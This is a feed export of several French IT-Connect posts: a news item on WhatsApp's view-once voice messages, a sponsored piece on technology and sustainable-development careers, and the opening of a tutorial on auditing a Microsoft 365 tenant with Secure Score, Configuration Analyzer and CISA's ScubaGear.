<p>Lorsque vous conversez avec quelqu'un sur WhatsApp, vous avez la possibilité d'envoyer des messages textes, mais également des messages vocaux. D'ailleurs, les messages vocaux sont très appréciés des utilisateurs de messagerie instantanée. Désormais, il y a une nouvelle option permettant d'<strong>auto-détruire un message vocal une fois que le destinataire l'a écouté</strong>. Autrement dit, le destinataire peut<strong> écouter une seule fois le message vocal</strong>, ensuite il est <strong>supprimé</strong> (à tout jamais). Rappelons que, comme les messages textes, les messages vocaux sont protégés par le <strong>chiffrement de bout en bout de WhatsApp</strong>.</p>



<p>"<em>Qu’il s’agisse de lire à haute voix vos coordonnées bancaires pour les envoyer à un ami ou de préparer une surprise, il est maintenant possible de partager des informations sensibles par messages vocaux en toute tranquillité.</em>" peut-on lire sur le blog <a href="https://blog.whatsapp.com/?lang=fr_FR" target="_blank" rel="noopener nofollow" title="">WhatsApp</a>.</p>



<p>En résumé, sur WhatsApp, vous pouvez désormais <strong>envoyer des photos, des vidéos et des messages vocaux à consultation unique</strong>. Pour les photos et vidéos, ce n'est pas nouveau, car il s'agit d'une fonctionnalité disponible depuis 2021. Le même icône "vue unique" sera indiqué devant les messages vocaux, photos et vidéos affectés par ce mode de diffusion.</p>



<p>Cette fonctionnalité est en cours de déploiement auprès de tous les utilisateurs de WhatsApp : "<em>Les messages vocaux à lecture unique seront déployés dans le monde dans les jours qui viennent et nous avons hâte de connaître votre avis.</em>". Pour apprendre à utiliser cette fonctionnalité, regardez ce tutoriel vidéo :</p>



<iframe source="iframe_youtube" src="https://www.youtube.com/embed/FutX8mnqAjI" title="Comment envoyer des photos et vidéos à vue unique sur WhatsApp" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe><p>The post <a href="https://www.it-connect.fr/nouveaute-whatsapp-les-messages-vocaux-a-lecture-unique/">Nouveauté WhatsApp : les messages vocaux à lecture unique !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73270
title: Développement durable et technologie : est-ce compatible ?
uri: Développement-durable-et-technologie-est-ce-compatible
url: https://www.it-connect.fr/developpement-durable-et-technologie-est-ce-compatible/
content:
<p>L'épuisement des ressources et les risques environnementaux font aujourd'hui partie des préoccupations majeures des gouvernements et de la société. Les progrès technologiques se révèlent être de véritables alliés pour faire face aux enjeux du développement durable à plusieurs niveaux. Comment la technologie impacte-t-elle le domaine de l'environnement ? Quels sont les métiers qui découlent de ce secteur ? Quelles formations pour accéder à ces métiers ?</p>



<h2 class="wp-block-heading">Comment la technologie se met-elle au service du développement durable ?</h2>



<p>Aujourd'hui, la technologie est utilisée dans le secteur du développement durable de bien des manières. <strong>L'internet des objets</strong> (IoT) est l'un de ces concepts qui permettent d'accélérer la transition durable. Il est capable de contribuer à la réduction de la consommation d'eau, d'énergie et d'autres matières premières. Il peut améliorer les performances et la rentabilité des secteurs économiques et même participer à la diminution des gaspillages. L'IoT facilite grandement la collecte et la transmission des données. Il est efficace pour contrôler presque tout ce qui permet de réduire votre empreinte écologique.</p>



<p>Les apports de la technologie ne se limitent pas à cette invention. Plusieurs autres secteurs bénéficient de ses avantages. C'est le cas notamment de l'agriculture, où elle favorise une exploitation agricole viable et une utilisation appropriée des ressources pour répondre aux besoins d'une population sans cesse croissante.</p>



<p>La technologie se met également <strong>au service de la gestion de l'eau et de la transition énergétique</strong>. Elle permet de diminuer considérablement le gaspillage sans pour autant renoncer au confort. Pour ce qui est du secteur de l'énergie, elle est utilisée pour optimiser la production et la distribution de l'électricité.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="554" src="media/f4b635c0.developpement-durable-et-technologie-est-ce-compatible.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/developpement-durable-et-technologie-est-ce-compatible.jpg" alt="master développement durable" class="wp-image-73272" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/developpement-durable-et-technologie-est-ce-compatible.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/developpement-durable-et-technologie-est-ce-compatible-550x381.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/developpement-durable-et-technologie-est-ce-compatible-150x104.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/developpement-durable-et-technologie-est-ce-compatible-768x532.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/developpement-durable-et-technologie-est-ce-compatible-50x35.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/developpement-durable-et-technologie-est-ce-compatible-392x272.jpg 392w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/developpement-durable-et-technologie-est-ce-compatible-130x90.jpg 130w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">Quelles formations envisager pour travailler dans ces secteurs ?</h2>



<p>L'écologie et le développement durable sont des défis importants pour notre société. Cela induit des besoins en termes d'emploi et par la même occasion de nombreuses possibilités de formation. Quelle voie choisir pour exercer un métier dans ces secteurs ?</p>



<h3 class="wp-block-heading">Les diplômes d'enseignement supérieur</h3>



<p>Accessibles juste après le bac, les établissements d'enseignement supérieur offrent un certain nombre d'options pour <strong>se former dans le domaine de l'environnement</strong>. Vous pouvez ainsi <a href="https://www.esi-business-school.com/les-formations/cycle-mastere/">étudier le développement durable en master</a> après avoir effectué une licence générale scientifique par exemple.</p>



<p>Ces études permettent de former des professionnels suffisamment compétents pour répondre aux besoins de croissance économique en prenant en considération les dimensions environnementales. L'offre de formation ne se limite pas là, vous pouvez aussi vous spécialiser en urbanisme, en santé ou encore en économie et gestion.</p>



<p>Si vous détenez déjà un bac+2, vous pouvez poursuivre en<strong> licence professionnelle</strong> pour vous spécialiser dans un domaine spécifique. Cela peut être dans le secteur du traitement des déchets, de la gestion de l'eau ou du développement durable.</p>



<h3 class="wp-block-heading">Le BUT ou le BTS</h3>



<p>Un grand nombre de postes dans le domaine de l'environnement concerne la gestion de l'eau et des déchets. De nombreux organismes sont à la recherche de profils qualifiés pour assurer ces missions. Les<strong> techniciens supérieurs</strong> sont des professionnels plébiscités. Heureusement, il existe des formations pour acquérir ce niveau de qualification :</p>



<ul>
<li>le BTS Métiers des services à l'environnement,</li>



<li>le BTSA gestion et maîtrise de l'eau,</li>



<li>le BUT Hygiène Sécurité et Environnement.</li>
</ul>



<p>Le développement des énergies renouvelables est aussi un secteur en plein essor. De ce fait, les formations telles que le BTS FED (Fluides, Énergies, <a class="wpil_keyword_link" href="https://www.it-connect.fr/tutoriels-domotique/" target="_blank" rel="noopener" title="Domotique" data-wpil-keyword-link="linked">Domotique</a>) ou le BUT Génie thermique et énergie sont des choix intéressants.</p>



<p>Ceux qui sont davantage attirés par la protection de la nature peuvent opter pour un <strong>BTS gestion forestière</strong> ou un BTSA gestion et protection de la nature. Vous disposez donc d'un bon nombre de choix pour vous former dans les métiers du développement durable.</p>



<h3 class="wp-block-heading">Les écoles spécialisées</h3>



<p>Les ingénieurs sont particulièrement recherchés dans le secteur de l'environnement. Les écoles d'ingénieurs représentent par conséquent de bonnes options pour obtenir un diplôme qui vous permet d'exercer un métier dans ce domaine.</p>



<p>Certaines d'entre elles se spécialisent dans l'agronomie, les énergies ou encore l'eau. D'autres proposent des formations plus généralistes avec une option en développement durable ou en environnement. Elles permettent d'obtenir à l'issue de la formation un<strong> diplôme bac+5 ainsi que le titre d'ingénieur</strong>.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="450" src="media/4b9b1675.developpement-technologie.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/developpement-technologie.jpg" alt="formations technologie et développement durable" class="wp-image-73273" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/developpement-technologie.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/developpement-technologie-550x309.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/developpement-technologie-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/developpement-technologie-768x432.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/developpement-technologie-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">Développement durable : quels sont les métiers qui recrutent ?</h2>



<p>Les métiers dans les secteurs de l'environnement et du développement durable se développent de plus en plus. Nous vous en présentons quelques-uns qui utilisent la technologie et qui recrutent.</p>



<h3 class="wp-block-heading">Technicien de traitement des déchets</h3>



<p>Donner aux déchets une nouvelle vie, tel est le rôle du technicien en traitement des déchets. Ce spécialiste garantit le bon déroulement de <strong>l'ensemble du processus de traitement des déchets</strong>. L'objectif final est de s'en débarrasser ou de les revaloriser en les recyclant. Les opportunités de recrutement de ces professionnels sont nombreuses et cela ne risque pas de s'arrêter.</p>



<h3 class="wp-block-heading">Ingénieur en traitement des eaux</h3>



<p>Qu'il exerce dans le secteur privé ou public, l'ingénieur en traitement des eaux est chargé de <strong>mettre en plage et de gérer des projets relatifs au traitement de l'eau</strong>. Son principal objectif est de s'assurer que la qualité de l'eau est conforme aux règles en vigueur.</p>



<p>Ce métier est d'une grande importance pour répondre aux besoins d'accès à l'eau potable, mais aussi aux objectifs de protection de la biodiversité. Les profils qualifiés seront de plus en plus recherchés dans les collectivités territoriales.</p>



<h3 class="wp-block-heading">Chargé d'études en environnement</h3>



<p>Le chargé d'études en environnement est celui qui détermine les effets d'une construction sur la faune et la flore, mais également sur les activités économiques. Il pilote différentes sortes de projets en mettant la priorité sur le respect et la protection de l'environnement. Les entreprises et les collectivités recherchent ces profils, notamment pour se conformer aux réglementations en ce qui concerne les risques industriels et environnementaux.</p>



<h3 class="wp-block-heading">Agent de développement des énergies renouvelables</h3>



<p>L'agent de développement des énergies renouvelables est un acteur majeur dans la politique écologique des collectivités locales. Sa mission est claire : identifier et évaluer le potentiel en énergie renouvelable des bâtiments. Il s'occupe également de l'organisation et du suivi des travaux pour équiper ces bâtisses. C'est aussi à lui que revient le rôle de sensibiliser les habitants sur les stratégies menées par la collectivité en termes d'énergies renouvelables. Ce poste nécessite des <strong>connaissances accrues en technologies modernes</strong> pour piloter de tels projets.</p>



<p>Vous l'aurez compris, la technologie constitue un allié de taille pour le secteur du développement durable. Elle facilite la gestion des projets et contribue à une meilleure exploitation des ressources naturelles. Pour exercer un métier dans ces domaines, vous devez d'abord acquérir les compétences requises. Un master en développement durable permet notamment d'accéder aux postes les plus recherchés.</p>



<p><em>Article sponsorisé</em></p><p>The post <a href="https://www.it-connect.fr/developpement-durable-et-technologie-est-ce-compatible/">Développement durable et technologie : est-ce compatible ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=67715
title: Cybersécurité : comment réaliser un audit de son tenant Microsoft 365 ?
uri: Cybersécurité-comment-réaliser-un-audit-de-son-tenant-Microsoft-3
url: https://www.it-connect.fr/5-outils-pour-audit-tenant-microsoft-365/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons apprendre à réaliser l'audit d'un tenant Microsoft 365 / Office 365 afin de mettre en évidence les améliorations possibles et les problèmes de configuration qui peuvent avoir un impact sur le niveau de sécurité global du tenant.</strong> </p>



<ul>
<li><a href="https://youtu.be/jqlPebFkMqI" target="_blank" rel="noopener nofollow" title="">Voir la vidéo sur YouTube</a></li>
</ul>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/jqlPebFkMqI?si=R9dW6hThOq_qPcNj" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<p>Pour réaliser cet audit, nous allons utiliser plusieurs outils. Chaque outil sera présenté tour à tour, ce qui vous permettra d'avoir un arsenal complet d'outils pour analyser votre tenant Microsoft 365. Dans ce premier article, nous allons<strong> réaliser l'audit</strong>, et dans un second article, nous verrons <strong>comment gagner du temps dans la sécurisation d'un tenant avec Harden365</strong>. Par ailleurs, un autre article sera mis en ligne pour évoquer <strong>l'audit de Microsoft Entra ID</strong> (Azure Active Directory) à l'aide d'outils supplémentaires.</p>



<p>Pour effectuer cette démonstration, un<strong> tenant Microsoft 365 vierge</strong> (de type Dev Tenant) sera utilisé. Pour créer gratuitement un tenant similaire, vous pouvez suivre cet article :</p>



<ul>
<li><a href="https://www.it-connect.fr/comment-creer-un-lab-microsoft-365-avec-intune-gratuitement/" target="_blank" rel="noopener">Créer un tenant Microsoft 365 gratuitement</a></li>
</ul>



<h2 class="wp-block-heading">II. Outils pour auditer Microsoft 365</h2>



<p>Il existe de nombreux outils pour auditer Microsoft 365 et la plupart de ces outils sont basés sur des scripts PowerShell ! Voici ceux qui seront présentés dans cet article :</p>



<ul>
<li><strong>Microsoft 365 Secure Score</strong> (intégré au portail Microsoft)</li>



<li><strong>Configuration Analyzer</strong> de <strong>Microsoft 365 Defender</strong></li>



<li><strong>ScubaGear </strong>de l'agence américaine CISA</li>



<li><strong>ORCA pour Office 365 Recommended Configuration Analyzer</strong>, un module PowerShell qui va analyser les règles d'Exchange Online Protection (EOP), vos politiques de gestion des pièces jointes et liens, ainsi que vos politiques pour lutter contre le phishing et l'usurpation d'identité. Il fait un focus sur Microsoft Defender for Office 365, d'où son nom.</li>



<li><strong>Monkey365</strong>, un outil open source pour auditer plusieurs services de l'écosystème Microsoft 365 (OneDrive, Exchange Online, SharePoint, Teams, Security &amp; Compliance) ainsi que Microsoft Entra ID</li>
</ul>



<h2 class="wp-block-heading">III. Microsoft 365 et le Secure Score</h2>



<p>Commençons par le "<strong>Secure Score</strong>" de Microsoft. Il s'agit d'un outil d'analyse<strong> intégré au portail Microsoft 365 </strong>qui permet de dresser une liste de recommandations à appliquer pour améliorer sa posture de sécurité. Il s'agit de recommandations pour Azure Active Directory, Teams, SharePoint, Exchange Online, etc...</p>



<p>Pour accéder à cette fonctionnalité :</p>



<ul>
<li>Accédez au portail <strong>Microsoft 365 Defender</strong> (<a href="https://security.microsoft.com" target="_blank" rel="noopener nofollow" title="">security.microsoft.com</a>)</li>



<li>Cliquez sur "<strong>Secure score</strong>" dans le menu latéral</li>
</ul>



<p><strong>Le tableau de bord indique le Secure Score de votre tenant : plus il est élevé, mieux c'est ! </strong>Vous pouvez voir son évolution dans le temps et vous avez un score par catégorie.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/d8d55ef3.Microsoft-365-Defender-Secure-Score.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Defender-Secure-Score.jpg"><img fetchpriority="high" decoding="async" width="1200" height="550" data-id="71332" src="media/d8d55ef3.Microsoft-365-Defender-Secure-Score.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Defender-Secure-Score.jpg" alt="Microsoft 365 Defender - Secure Score" class="wp-image-71332" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Defender-Secure-Score.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Defender-Secure-Score-550x252.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Defender-Secure-Score-800x367.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Defender-Secure-Score-150x69.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Defender-Secure-Score-768x352.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Defender-Secure-Score-50x23.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<p>Si vous cliquez sur "<strong>Recommended actions</strong>", vous pouvez accéder à la liste des recommandations. <strong>Cette liste contient toutes les recommandations : celles à appliquer et celles déjà appliquées.</strong> Grâce aux colonnes et aux filtres, vous pouvez facilement identifier les actions à effectuer pour respecter les recommandations de Microsoft.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="426" src="media/6903cf2b.Microsoft-Secure-Score-Recommandations.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-Secure-Score-Recommandations.jpg" alt="" class="wp-image-71333" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-Secure-Score-Recommandations.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-Secure-Score-Recommandations-550x293.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-Secure-Score-Recommandations-150x80.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-Secure-Score-Recommandations-768x409.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-Secure-Score-Recommandations-50x27.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Si vous cliquez sur une recommandation,<strong> vous pouvez obtenir des détails à son sujet</strong>. Il y a une description plus précise et un onglet "<strong>Implementation</strong>" qui vous permet d'avoir des instructions pour appliquer cette bonne pratique.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="657" src="media/b4b25dbc.Microsoft-Secure-Score-Implementation.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-Secure-Score-Implementation.png" alt="" class="wp-image-71334" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-Secure-Score-Implementation.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-Secure-Score-Implementation-550x452.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-Secure-Score-Implementation-150x123.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-Secure-Score-Implementation-768x631.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-Secure-Score-Implementation-50x41.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Cette fonctionnalité intégrée au portail Microsoft 365 vous permet de faire vos premiers pas pour évaluer le niveau de sécurité de votre tenant Microsoft 365.</p>



<h2 class="wp-block-heading">IV. Configuration Analyzer de Microsoft 365 Defender</h2>



<p>Microsoft 365 Defender intègre un outil baptisé "<strong>Configuration Analyzer</strong>" ou "<strong>Analyseur de configuration</strong>" en français qui va s'intéresser à <strong>vos stratégies Exchange Online Protection</strong> (anti-spam, anti-phishing, notamment) ainsi que <strong>vos stratégies Microsoft Defender</strong>.</p>



<p>Pour accéder au "<strong>Configuration Analyzer</strong>" de Microsoft 365 Defender, suivez les étapes ci-dessous ou cliquez <a href="https://security.microsoft.com/configurationAnalyzer" target="_blank" rel="noopener nofollow" title="">directement sur ce lien</a>.</p>



<ul>
<li>Au sein du portail Microsoft 365 Defender, cliquez sur "<strong>Email &amp; Collaboration</strong>" (1)</li>



<li>Cliquez sur "<strong>Policies &amp; Rules</strong>" dans le menu latéral (2)</li>



<li>Cliquez sur "<strong>Threat policies</strong>" dans la liste qui s'affiche (3)</li>



<li>Puis, choisissez "<strong>Configuration analyzer</strong>" (4)</li>
</ul>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="494" src="media/9a13f53c.Microsoft-365-Defender-Configuration-Analyzer.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Defender-Configuration-Analyzer.png" alt="Microsoft 365 Defender - Configuration Analyzer" class="wp-image-71349" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Defender-Configuration-Analyzer.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Defender-Configuration-Analyzer-550x340.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Defender-Configuration-Analyzer-150x93.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Defender-Configuration-Analyzer-768x474.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Defender-Configuration-Analyzer-50x31.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Cette page indique des <strong>recommandations standards</strong>, des <strong>recommandations strictes</strong>, ainsi qu'un <strong>historique</strong> pour votre tenant. La liste des recommandations est disponible sur cette page :</p>



<ul>
<li><a href="https://learn.microsoft.com/en-us/microsoft-365/security/office-365-security/recommended-settings-for-eop-and-office365?view=o365-worldwide?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - Configuration Analyzer - Baselines</a></li>
</ul>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="482" src="media/4af15d6d.Microsoft-365-Configuration-Analyzer-Exemple-800x482.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Configuration-Analyzer-Exemple-800x482.jpg" alt="Microsoft 365 - Configuration Analyzer - Exemple" class="wp-image-71352" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Configuration-Analyzer-Exemple-800x482.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Configuration-Analyzer-Exemple-550x332.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Configuration-Analyzer-Exemple-150x90.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Configuration-Analyzer-Exemple-768x463.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Configuration-Analyzer-Exemple-50x30.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Microsoft-365-Configuration-Analyzer-Exemple.jpg 811w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : Microsoft Learn</figcaption></figure>



<p>Attention, pour utiliser cette fonctionnalité, vous devez avoir les "bonnes licences" Microsoft Defender. Plus d'informations sur cette page :</p>



<ul>
<li><a href="https://learn.microsoft.com/fr-fr/microsoft-365/security/office-365-security/configuration-analyzer-for-security-policies?view=o365-worldwide?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - Configuration Analyzer</a></li>
</ul>



<h2 class="wp-block-heading">V. Auditer son tenant Microsoft 365 avec ScubaGear</h2>



<p>Nous allons maintenant utiliser un premier outil tiers : <strong>ScubaGear</strong>. Ce très bel outil est mis à disposition par la<strong> CISA</strong>, l'<strong>agence américaine spécialisée dans la cybersécurité</strong>. Il permet d'analyser la configuration de votre tenant Microsoft 365 afin de vérifier si elle est <strong>conforme aux recommandations</strong> décrites dans le document "<strong>Secure Cloud Business Applications</strong>" (SCuBA) de la CISA. ScubaGear va automatiser l'audit, ce qui est très pratique.</p>



<p>Tout d'abord, vous devez télécharger ScubaGear depuis le GitHub officiel du projet :</p>



<ul>
<li><a href="https://github.com/cisagov/ScubaGear" target="_blank" rel="noopener nofollow" title="">GitHub - ScubaGear</a></li>



<li><a href="https://www.cisa.gov/resources-tools/services/secure-cloud-business-applications-scuba-project" target="_blank" rel="noopener nofollow" title="">Accéder à la page du projet SCuBA</a></li>
</ul>



<p>Une fois que c'est fait, décompressez l'archive.</p>



<p><strong>Ouvrez une console PowerShell</strong> et positionnez-vous dans le répertoire du projet. Pour ma part, je me positionne dans "C:\PS\ScubaGear-0.3.0\". Ensuite, <strong>exécutez le script "SetUp.ps1" qui va permettre d'installer tous les modules PowerShell</strong> nécessaires au bon fonctionnement de ScubaGear.</p>



<pre class="wp-block-code"><code>cd C:\PS\ScubaGear-0.3.0\
.\SetUp.ps1</code></pre>



<p>Patientez... Plusieurs minutes peuvent être nécessaires car ScubaGear s'appuie sur une dizaine de modules.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="518" src="media/1431e5e4.Audit-Microsoft-365-ScubaGear-Installation-800x518.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Microsoft-365-ScubaGear-Installation-800x518.png" alt="Audit Microsoft 365 - ScubaGear - Installation" class="wp-image-71341" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Microsoft-365-ScubaGear-Installation-800x518.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Microsoft-365-ScubaGear-Installation-550x356.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Microsoft-365-ScubaGear-Installation-150x97.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Microsoft-365-ScubaGear-Installation-768x497.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Microsoft-365-ScubaGear-Installation-50x32.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Microsoft-365-ScubaGear-Installation.png 963w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Une fois que c'est terminé, importez le module ScubaGear de cette façon :</p>



<pre class="wp-block-code"><code>PS C:\ps\ScubaGear-0.3.0&gt;<strong> Import-Module -Name .\PowerShell\ScubaGear</strong></code></pre>



<p>Puis, exécutez un audit avec la commande suivante (<em>il y a la possibilité d'ajuster le périmètre de l'audit en jouant sur les paramètres de cette commande</em>) :</p>



<pre class="wp-block-code"><code>Invoke-SCuBA</code></pre>



<p>Vous allez devoir v<strong>ous authentifier auprès des différents services à l'aide d'un compte administrateur</strong>. Il est préférable d'utiliser un compte Administrateur Global pour avoir accès à tous les services (<em>à tester avec un compte en lecture seule</em>). Par ailleurs, <strong>activez le consentement pour Microsoft Graph</strong> comme sur l'exemple ci-dessous.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="588" src="media/933b4e4e.Audit-Microsoft-365-ScubaGear-Authentification-800x588.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Microsoft-365-ScubaGear-Authentification-800x588.png" alt="Audit Microsoft 365 - ScubaGear - Authentification" class="wp-image-71342" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Microsoft-365-ScubaGear-Authentification-800x588.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Microsoft-365-ScubaGear-Authentification-550x404.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Microsoft-365-ScubaGear-Authentification-150x110.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Microsoft-365-ScubaGear-Authentification-768x564.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Microsoft-365-ScubaGear-Authentification-50x37.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Audit-Microsoft-365-ScubaGear-Authentification.png 900w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Patientez pendant l'analyse de votre tenant M365... Quand il sera terminé, <strong>un rapport HTML s'affichera sur votre machine</strong>. Comme le montre l'image ci-dessous, l'ensemble des fichiers générés lors de l'audit sont stockés dans un sous-répertoire de ScubaGear.</p>



<p>Le rapport intègre un en-tête avec le nom du tenant, le nom de domaine, l'ID du tenant ainsi que la date et l'heure de l'audit. En dessous, il y a un tableau récapitulatif qui contient des liens vers les rapports générés pour chaque catégorie : Azure Active Directory, Microsoft 365 Defender, etc... Avec les résultats. Certaines recommandations ne sont pas vérifiées par l'outil et nécessitent une vérification manuelle ("<em>manual checks needed</em>").</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="479" src="media/9d2287bd.Rapport-SCuBA-M365-800x479.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Rapport-SCuBA-M365-800x479.png" alt="Audit Scuba - Rapport Microsoft Teams" class="wp-image-71343" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Rapport-SCuBA-M365-800x479.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Rapport-SCuBA-M365-550x329.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Rapport-SCuBA-M365-150x90.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Rapport-SCuBA-M365-768x459.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Rapport-SCuBA-M365-50x30.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Rapport-SCuBA-M365.png 1100w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Si vous <strong>cliquez sur l'un des rapports</strong>, par exemple celui pour Microsoft Teams, vous obtenez un rapport détaillé propre à l'analyse du service sélectionné.<strong> Vous avez la liste de tous les points vérifiés ainsi que le résultat associé.</strong> Pour information, le rapport Azure Active Directory (Microsoft Entra ID) effectue également une passe sur vos stratégies d'accès conditionnel.</p>



